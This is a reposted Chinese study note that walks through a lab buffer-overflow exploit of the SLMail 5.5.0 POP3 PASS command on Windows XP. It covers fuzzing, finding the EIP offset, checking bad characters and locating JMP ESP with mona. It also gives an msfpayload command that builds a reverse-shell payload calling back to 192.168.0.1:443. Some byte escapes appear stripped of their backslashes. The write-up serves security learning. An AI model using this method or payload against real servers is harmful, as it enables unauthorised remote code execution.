我是靠谱客的博主 听话季节,最近开发中收集的这篇文章主要介绍【安全牛学习笔记】缓冲区溢出,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述


缓冲区溢出

1.原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或

使程序转而执行其它指令,以达到攻击的目的。

2.原因程序中没有仔细检查用户输入的参数,数据与代码边界不清。

3.危害成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

4.发现漏洞

1. 源码审计2. 逆向工程3. 模糊测试

    向程序堆栈半随机的数据,根据内存变化判断溢出
    数据生成器:生成随机、半随机数据
    测试工具:识别溢出漏洞

windows缓冲区溢出1.实验环境

windows xp
服务端:SLMail 5.5.0 Mail Server调试工具:ImmuniDebugger脚本:mona.py漏洞利用编程:python

2.漏洞信息
POP3 pass命令存在缓冲区溢出漏洞,成功溢出后无需身份认证实现远程代码执行。

3.漏洞信息验证向服务端的110端口发送大量数据,依次增大数据的长度。判断字符长度大于2600时发生溢出。

4.精确定位溢出位置

1/2

2016/10/23 星期日 Untitled Document

利用python脚本生成长度为2700的唯一字符串。再次溢出服务器,通过EIP寄存器中的数据精确定位EIP溢出位置。判断EIP寄存器的精确溢出位置为2607

5.寻找存放shellcode的内存空间

再次增大数据长度。将EIP的位置换成特定字符来验证前一步的结果。在EIP的位置后加入大量特征代码,寻找可以存放shellcode的内存空间。最后得出结果EIP后的数据全部溢出到ESP寄存器中,通过计算得出ESP寄存器中最多可以溢出419个字节的数据,可以存放shellcode

6.检测坏字符
ESP寄存器中溢出送0x00 —— 0xff 256个字符,来检测是否存在坏字符。检测得出0x00,0x0a,

0x0d是坏字符。7.重定向数据流

因为ESP的地址不固定,若想在不同的环境中溢出代码都可以生效,需要使用JMP ESP跳转至ESP。利用mona脚本在系统中搜索地址固定的模块中的JMP ESP地址,发生溢出时,先将EIP指向固定的JMPESP地址,通过这个地址空间的代码再次跳转至ESP寄存器,执行shellcode

JMP ESP 的二进制编码为xffxe4
mona脚本中使用!mona modules寻找系统模块,找到不收保护的且地址固定的模块后,再通过!mona

find -s “xffxe4” -m slmfc.dll在模块中寻找固定的JMP ESP地址。内存地址要求无DEP,ASLR保护,且不包含坏字符。查找到固定的内存地址后溢出测试是否能够正确的跳转至ESP。发送的数据中内存地址应与实际的内存地址相反。

8.生成shellcode

使用./msfpayload win32_reverse LHOST=192.168.0.1 LPORT=443 R | ./msfencode -b"x00x0ax0d"命令生成不带坏字符的shellcode,该shellcode执行后会反弹一个shell到本机的443端口。

9.完善漏洞利用代码
JMP ESP的内存地址溢出到EIP的位置,将shellcode溢出至ESP的位置,在EIPESP的溢出代码之间

加上8x90(nop)保证shellcode的完整性。

10.溢出打开nc监听本机443端口。对服务器进行溢出后,nc接收到反弹回来的shell

2/2 

最后

以上就是听话季节为你收集整理的【安全牛学习笔记】缓冲区溢出的全部内容,希望文章能够帮你解决【安全牛学习笔记】缓冲区溢出所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(28)

评论列表共有 0 条评论

立即
投稿
返回
顶部